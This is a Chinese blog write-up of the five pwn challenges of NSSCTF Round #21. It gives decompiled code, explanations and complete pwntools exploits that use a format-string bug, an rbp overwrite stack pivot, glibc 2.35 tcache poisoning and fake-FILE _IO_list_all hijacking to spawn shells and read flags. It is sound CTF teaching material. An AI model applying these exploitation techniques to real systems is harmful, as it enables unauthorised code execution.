[NSSRound#21] pwn专场

这个没打,终于在习场找到了。不过还是花金币的。这些日子登录也挣了不少,差不多够玩一阵子的。可以下附件也需要30,而pwn在一定时间内还打不成,又花30,5个题下来200多。真够黑的。

这个比赛一共5个题。感觉其中第3题最难,第1,5题最容易。

1 fmt_checkin

先看下代码,这题也就这么一点。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  uint a; // [rsp+Ch] [rbp-4h] BYREF

  a = 0;
  init();
  puts("Welcome to NSSCTF");
  puts("This is a checkin,you can do it!");
  puts("How many bytes would you like to send");
  __isoc99_scanf("%d", &a);
  if ( (int)a > 10 )
  {
    puts("too long");
    exit(0);
  }
  while ( 1 )
  {
    puts("please send your payload");
    read(0, buf, (size_t)&a);
    if ( !strncmp(buf, "quit", 4uLL) )
      break;
    printf(buf);
  }
  return 0;
}

先输入长度,不能大于10,然后输入到buf(buf在bss不在栈上),这是个不在栈上的格式化字符串漏洞,没有rbp链,只能用argv链。没有次数限制。

先泄露地址,然后移一下指针写一字节ROP数据,循环写完就OK了。

坑点是程序里 read(0,buf,(size_t)&a);这样是写不了数据的,正常情况下是read(0,buf,a);你不能传个地址过去会造成死循环但不读数据。虽然难度不大但这个坑比较黑,谁能想到题目给的附件还需要纠错。

from pwn import *

libc = ELF('./libc.so.6')
context(arch='amd64', log_level='debug')

#p = process('./fmt_checkin')  #附件有问题 read(0,buf,&a);应为read(0,buf,a);本地无法正常运行
#gdb.attach(p, "b*0x40135d\nc")

p = remote('node4.anna.nssctf.cn', 28125)

p.sendlineafter(b"send\n", b'-1')

p.sendafter(b"please send your payload\n", b"%9$p,%16$p,")
libc.address = int(p.recvuntil(b',', drop=True),16) - 0x29d90
stack = int(p.recvuntil(b',', drop=True),16) - 0x110

off = (0xee8 - 0xdc0)//8 + 6
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh  = next(libc.search(b'/bin/sh\0'))
system  = libc.sym['system']
print(f"{libc.address = :x} {stack = :x}")

pause()
rop = flat(pop_rdi+1,pop_rdi,bin_sh,system)

#16->#45->rop
p.sendafter(b"please send your payload\n", f"%{stack&0xffff}c%16$hn")

for i,v in enumerate(rop):
    p.sendafter(b"please send your payload\n", f"%{(stack+i)&0xff}c%16$hhn")
    if v==0:
        p.sendafter(b"please send your payload\n", f"%{off}$hhn")
    else:
        p.sendafter(b"please send your payload\n", f"%{v}c%{off}$hhn")

p.sendafter(b"please send your payload\n", f"quit\0")

p.interactive()
#NSSCTF{Wow!!!you_pwn_it!!!you_will_become_the_best_pwnner}
'''
0x00007fffffffddc0│+0x0000: 0x0000000000000000   ← $rsp
0x00007fffffffddc8│+0x0008: 0xffffffff00000000
0x00007fffffffddd0│+0x0010: 0x0000000000000001   ← $rbp
0x00007fffffffddd8│+0x0018: 0x00007ffff7c29d90  →   mov edi, eax    <- stack
0x00007fffffffdde0│+0x0020: 0x0000000000000000
0x00007fffffffdde8│+0x0028: 0x0000000000401277  →  <main+0> endbr64 
0x00007fffffffddf0│+0x0030: 0x0000000100000000
0x00007fffffffddf8│+0x0038: 0x00007fffffffdee8  →  0x00007fffffffe239  →  "/home/kali/ctf/0428/fmt_checkin/fmt_checkin"
0x00007fffffffde00│+0x0040: 0x0000000000000000
0x00007fffffffde08│+0x0048: 0x5824363c1a41b945
0x00007fffffffde10│+0x0050: 0x00007fffffffdee8  →  0x00007fffffffe239  →  "/home/kali/ctf/0428/fmt_checkin/fmt_checkin"
'''

2 Beautiful_Girl

这个感觉有点难度

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v5; // [rsp+Ch] [rbp-14h]
  unsigned int v6; // [rsp+1Ch] [rbp-4h]

  v3 = time(0LL);
  srand(v3);
  init();
  hello();
  v6 = choice();                                // 可输入负数?
  gift(v6);                                     // 给stdin
  (&pw)[v6] = (char *)Voice();                  // 泄露rbp
  v5 = rand();                                  // 栈深
  if ( !strstr((&pw)[v6], "love") && v5 % 3 )
  {
    printf("no,she hates you so much!!!");
  }
  else if ( v6 )
  {
    if ( v6 == 1 )
      puts("BabyZhu very like you");
    else
      puts("BabyJi very like you");
  }
  else
  {
    puts("BabyYu very like you");
  }
  return 0;
}
char *__fastcall Voice()
{
  char v1[512]; // [rsp+10h] [rbp-210h] BYREF
  char buf[16]; // [rsp+210h] [rbp-10h] BYREF

  puts("You can introduce yourself first");
  read(0, buf, 0x11uLL);                        // 利用尾字节覆盖rbp在返回里造成移栈,执行rop
  printf("hello,girl,I'm %s\n", buf);
  puts("Is there anything you'd like to say???");
  read(0, v1, 0x200uLL);
  printf("you say %s\n", v1);
  return v1;
}

大体思路很容易,但作起来很晕。程序先是泄露的stdout也就得到了libc,然后在Voice里read(0,buf,0x11);多出来一字节可以覆盖到rbp,这样修改了rbp之后,返回到main,main退出时会发生移栈。只需要调整rbp的尾字节就可以达到移栈执行v1里的ROP的目的。

但有个问题,Voice退出后会执行rand,strstr,printf/puts这些会覆盖一些栈空间。而只修改1字节最大向前移栈的空间也就0x100,这些函数在调用的时候会占用0x88,再加上修改的那个指针是main返回时的地址还差0x20,所以猜只有当rbp尾号在0xb0-0xd0里才会成功。

另一个问题是  (&pw)[v6] = (char *)Voice(); 会把返回值传给pw[v6]而v6在rbp前,所以这里不能是大数,当这里写libc的地址时就会溢出崩掉。这里用elf里的ret滑动到ROP。为提高命中率要尽量大,但又要防止ROP被strstr或puts覆盖。最后需要爆破几次恰好遇上一个合适的值才能成功。

本地调试要打开随机化,不然永不成功。恰好那个值很小。

from pwn import *

context(arch='amd64', log_level='debug')
libc = ELF('./libc-2.23.so')

#p = process('./pwn1')
#gdb.attach(p, "b*0x4008f2\nc")
p = remote('node4.anna.nssctf.cn', 28998)

p.sendlineafter(b"Which beauty do you want to choose: ", b'1')
p.recvuntil(b"can give you ")
libc.address = int(p.recvline(), 16) - libc.sym['_IO_2_1_stdout_']
print(f"{libc.address = :x}")

ret = 0x400aed
pop_rdi = 0x0000000000400b53 # pop rdi ; ret
bin_sh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']
one = libc.address + 0x45226


#覆盖rbp尾字节(当尾字节是c0时)main.leave_ret时移栈执行rop
#strstr 会覆盖掉尾部0x88 且当main.rbp(Voice+0x20)>=0xe0时覆盖的指针为rbp尾字节>00无法前移栈
#爆破1/16
p.sendafter(b"You can introduce yourself first", b'\x00'*0x11) #rbp = xc0
p.sendafter(b"Is there anything you'd like to say???\n", b'love'.ljust(0x100,b'\x00')+p64(ret)*11 +flat(pop_rdi, bin_sh, system))
p.sendline(b'cat /flag')
p.interactive()

3 want_girlfriend

这题作了两天。

一个堆题,还是高版本2.35

main有4个菜单

  • creat建堆块,大小在0x8c到0x103之间,然后在0,0x10分别可写入0x10,0x20字节,但是先写入buf再用strcpy,所以中间不能用\0。同时用flag为标记每次加1,但只有不为1时才能建块。并且块指针存在new,只能存1个。
__int64 creat()
{
  int v1; // [rsp+Ch] [rbp-34h] BYREF
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+38h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( flag == 1 )
  {
    puts("no,You can only have one girlfriend!!!");
    return 0LL;
  }
  else
  {
    while ( 1 )
    {
      puts("Please input her height:");
      __isoc99_scanf("%d", &v1);
      if ( v1 > 0x8C && v1 <= 0x103 )
        break;
      puts("Are you sure???");
    }
    new = (char *)malloc(v1);
    if ( !new )
      exit(0);
    puts("Please input her name");
    read(0, buf, 0x10uLL);
    strcpy(new, buf);
    puts("Plese input her describe");
    read(0, buf, 0x20uLL);
    strcpy(new + 16, buf);
    return (unsigned int)++flag;
  }
}
  • abandon 删除块,当输入Y里会free掉块,会让flag减1但并不清指针。
unsigned __int64 abandon()
{
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Are you sure you want to abandon her now???");
  read(0, buf, 3uLL);
  if ( buf[0] == 'Y' )
    free(new);
  else
    puts("If you leave, I will life and death dependency.");
  --flag;
  return v2 - __readfsqword(0x28u);
}
  • show 这里没有可看有,用write输出很人性。
  • love这个很特殊,当flag<=0时会删前0x18字节,当flag=1时可向new+0x38输入0x20字节。
int love()
{
  int result; // eax

  if ( !new )
    return puts("???");
  if ( flag <= 0 )
  {
    puts("If you abandon her, the best love is forgetting");
    *(_QWORD *)new = 0LL;
    *((_QWORD *)new + 1) = 0LL;
    result = (_DWORD)new + 16;
    *((_QWORD *)new + 2) = 0LL;
  }
  else
  {
    puts("Please input your love");
    return read(0, new + 0x38, 0x20uLL);
  }
  return result;
}

找了半天,这里边有两个漏洞点:

  1. 在建块里选读入内存再strcpy写入块,这时内存的残留会被带入,经调整在0x8,0x18处分别有elf地址和栈地址。
  2. free时没有清指针,对于高版本的libc需要清fd,然后再free,这时的love正好能清指针。但这时不会形成loop。只会影响到tcache计数,当超过7个后就会进入unsort

大体思路:

  1. 建个块,输入8,0x18字节将栈时的残留带入堆中,show得到elf,stack
  2. free掉块再show,得到heap
  3. 先建个底防合并,再利用tcache存的值在原位建块并free 7次填满tcache(每次用love清指针)
  4. 再次free进入unsort这里unsort与0xc0块重叠。
  5. 建0xa0块(用unsort),free后恢复key,再建写入栈地址。使得0xc0块的fd指向栈(tcache attack)。
  6. 由于love只能向+0x38处写0x20字节,又由于需要建块时有size头标记,在最后有效的ROP只能写16字节,不能实现system,所以在这里写rbp+leave ret将栈移一堆空间。
  7. 本地的话,在堆里写ROP就行了,0x20字节正好够用。但远程发现不行。多次猜和试,估计是因为调用system里用的栈空间不够。所以在后部新建个大块写ROP

完整代码

from pwn import *

context(arch='amd64')
libc = ELF('./libc.so.6')
elf = ELF('./pwn1')

#p = process('./pwn1')
p = remote('node4.anna.nssctf.cn', 28019)

flag = 0
def add(size, msg1=b'A',msg2=b'B'):
    global flag
    p.sendlineafter(b"Please input you choice: \n", b'1')
    p.sendlineafter(b"Please input her height:\n", str(size).encode())
    p.sendafter(b"Please input her name\n", msg1)
    p.sendafter(b"Plese input her describe\n", msg2)
    flag += 1

def free(s = b'Y'):
    global flag
    p.sendlineafter(b"Please input you choice: \n", b'2')
    p.sendlineafter(b"Are you sure you want to abandon her now???\n", s)
    flag -= 1

def show():
    p.sendlineafter(b"Please input you choice: \n", b'3')

def backdoor(msg=b'C'):
    p.sendlineafter(b"Please input you choice: \n", b'520')
    if flag<=0: return
    p.sendafter(b"Please input your love\n", msg)

#将buf里的残留带入堆中,泄露elf,stack
add(0xc0, b'A'*8, b'B'*0x18)
show()
p.recvuntil(b"A"*8)
elf.address = u64(p.recv(8)) - 0x1389
p.recvuntil(b'B'*0x18)
stack = u64(p.recv(8)) - 0x40 #buf + 0x10   stack+0x38 = libc_start_main_ret
print(f"{elf.address = :x} {stack = :x}")

#泄露heap地址
free()  #tcache:c0
show()
p.recvuntil(b"Your girlfriend is ")
heap_base = u64(p.recv(8)) <<12
key = p.recv(8)
print(f"{heap_base = :x}", 'key=', key.hex())

#free未清指针,free 7次填满tcache
add(0xb0, flat(0,0xd1), flat(0,0,0,0xd1)) #防止unsort 和top_chunk合并
free(b'N')
add(0xc0)
for i in range(7):
    free()
    backdoor()

#第8次free进入unsort并得到libc地址
free() #unsort
show()
p.recvuntil(b"Your girlfriend is ")
libc.address = u64(p.recv(0x10)[8:]) - 0x21ace0
print(f"{libc.address = :x}")

#gdb.attach(p, "b*0x555555555583\nc")  #free
#用unsort建0xa0,0xa0与0xc0重叠
add(0xa0) #unsort
free()    #free 时恢复key

#重建0xa0写入fake_fd 指向栈 main的返回地址-0x10 
add(0xa0, p64((heap_base>>12)^stack))

#让flag回到0
for i in range(6):
    add(0xd0, b'\x00', flat(0,0xd1,0,0xd1))

#在buf里存个标记,防止tcache建块是头检查报错
add(0xc0, b'flag\x00', flat(0,0xd1,0,0xd1))
leave_ret = elf.address + 0x14f5
ret = leave_ret + 1
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc.address + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc.address + 0x00000000000904a9 # pop rdx ; pop rbx ; ret
pop_rcx = libc.address + 0x000000000003d1ee # pop rcx ; ret
bin_sh  = next(libc.search(b'/bin/sh\0'))
system  = libc.sym['system']
syscall = libc.sym['getpid'] + 9
one = libc.address + 0x50a47

free(b'N') #flag--
add(0xc0, b'A', p64(stack+0x30))  #建到栈内,并保持原rbp不变

#向栈内main的返回地址写 ROP移栈
backdoor(flat(0, heap_base+0x970+0x38-8, leave_ret)) #stack libc_start_main_ret=leave_ret

#新建个块,写ROP,如用原0x2a0的块在远程里不成功,估计是因为堆作为栈空间时向前的大小不够大
free(b'N')
add(0x100)
backdoor(flat(pop_rdi+1, pop_rdi, bin_sh, system))
#backdoor(flat(pop_rcx, 0, one))  #one要求rsp&0xf==0 one要落在8上

p.sendlineafter(b"Please input you choice: \n", b'4')
p.interactive()

#NSSCTF{b47263aa-b600-413b-b760-23c54e96ac86}

4 Heresy

又一个高版本libc的堆题,不过这题要比上一题容易多了。add,free都没有问题。

在指针区有个结构:0:name(0xf), 0x10:size(4),0x14:inuse(4),0x18:ptr(8)

这里不仅free时会清批针,还用inuse作检查,本身没有任何问题。

问题在于edit1函数可以修改指针结构的name,先输入1个字节,从name里找到后换成新字节。

这个strchr函数当输入\0时,不会返回未指到,而是正常返回尾部\0的地址。

所以这题就简单了,找\0无成字节,这样name和size连在一起再找一次就可以把size改大,可以写溢出。

有了写溢出,可以覆盖指针,tcache attack后边很容易。按照板子的打法,这里向_IO_list_all写fake_file的地址。最后利用show 时id过大来调用 exit 来触发。

int sub_16C9()
{
  int result; // eax
  char *v1; // rax
  char buf; // [rsp+Ah] [rbp-6h] BYREF
  char v3; // [rsp+Bh] [rbp-5h] BYREF
  int v4; // [rsp+Ch] [rbp-4h]

  result = dword_4020;
  if ( dword_4020 )
  {
    v4 = read_id();
    puts("Which name do you want to change");
    read(0, &buf, 1uLL);
    if ( strchr((const char *)&unk_41C0 + 32 * v4, buf) )
    {
      puts("A new letter!!!");
      read(0, &v3, 1uLL);
      v1 = strchr((const char *)&unk_41C0 + 32 * v4, buf);
      *v1 = v3;
      puts("YES");
      return --dword_4020;
    }
    else
    {
      return puts("NO");
    }
  }
  return result;
}
from pwn import *

context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')

#p = process('./pwn4')
p = remote('node4.anna.nssctf.cn', 28890)

def add(size, name, msg):
    p.sendlineafter(b"choice>>\n", b'1')
    p.sendafter(b"Enter your name\n", name)
    p.sendlineafter(b"Enter your size\n", str(size).encode())
    p.sendafter(b"Enter your content\n", msg)

def free(idx):
    p.sendlineafter(b"choice>>\n", b'2')
    p.sendlineafter(b"Enter the id you want to query\n", str(idx).encode())

def show(idx):
    p.sendlineafter(b"choice>>\n", b'3')
    p.sendlineafter(b"Enter the id you want to query\n", str(idx).encode())

#strchr可以越界,将尾部\0替换,2次将size \x18\x00 替换为\x18\x41 实现写溢出
def backdoor(idx, ch1,ch2):
    p.sendlineafter(b"choice>>\n", b'4')
    p.sendlineafter(b"Enter the id you want to query\n", str(idx).encode())
    p.sendafter(b"Which name do you want to change\n", ch1)
    p.sendafter(b"A new letter!!!\n", ch2)

def edit(idx,msg):
    p.sendlineafter(b"choice>>\n", b'5')
    p.sendlineafter(b"Enter the id you want to query\n", str(idx).encode())
    p.sendafter(b"Edited content\n", msg)

add(0x18, b'A'*15, b'B') #0
for i in range(5):
    add(0x100, b'A', b'B') # 1-5

backdoor(0, b'\0', b'A')
backdoor(0, b'\0', b'A') #size \x18\x00 -> \x18\x41
edit(0, b'A'*0x18+p64(0x441))
free(1)
edit(0, b'A'*0x20)
show(0)
p.recvuntil(b"A"*0x20)
libc.address = u64(p.recv(6)+b'\0\0') - 0x21ace0
print(f"{libc.address = :x}")

edit(0, b'A'*0x18 + p64(0x441))
add(0x100, b'A', b'A') #1
add(0x100, b'A', b'A') #6
free(1)
free(2)
edit(0, b'A'*0x20)
show(0)
p.recvuntil(b"A"*0x20)
heap = u64(p.recvuntil(b'1.Create', drop=True).ljust(8, b'\x00'))<<12
print(f"{heap = :x}")

edit(0, b'A'*0x18 + p64(0x111) + b'A'*0x108 + p64(0x111) + p64(libc.sym['_IO_list_all']^(heap>>12)))

fake_file_addr = heap + 0x3d0
# ref: https://blog.csome.cc/p/houseofminho-wp/
fake_file = flat({
    0x0: b"  sh;",
    0x28: libc.symbols['system'],
    0xa0: fake_file_addr-0x10, # wide data
    0x88: fake_file_addr+0x100, # 可写,且内存为0即可
    0xD0: fake_file_addr+0x28-0x68, # wide data vtable
    0xD8: libc.symbols['_IO_wfile_jumps'], # vtable  
}, filler=b"\x00")

add(0x100, b'fake_file', fake_file)
add(0x100, b'fake_file_addr', p64(fake_file_addr))

show(8) #exit(0)

p.interactive()

5 Za1Yunti4n

这是个充数题,不用写代码。感觉可以放到逆向里。用c++写的代码,代码量大且极其难懂,菜单还都是汉字,不过IDA也能显示汉字。一点点啃。

有5个菜单项,但仅有2,4有用。

2是买工坊,仅1 web可用,会减520,这里是唯一漏洞,不检查原始金钱数,会减成负数。

4是买小卖部,原始资金是1000,小卖部10000(无符号数)前边减成负数这里就直接成功,然后就system(/bin/sh)了。具体操作如下:

2 1 yes  (-520)
2 1 yes  (-520)
4

cat flag

  • 8
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值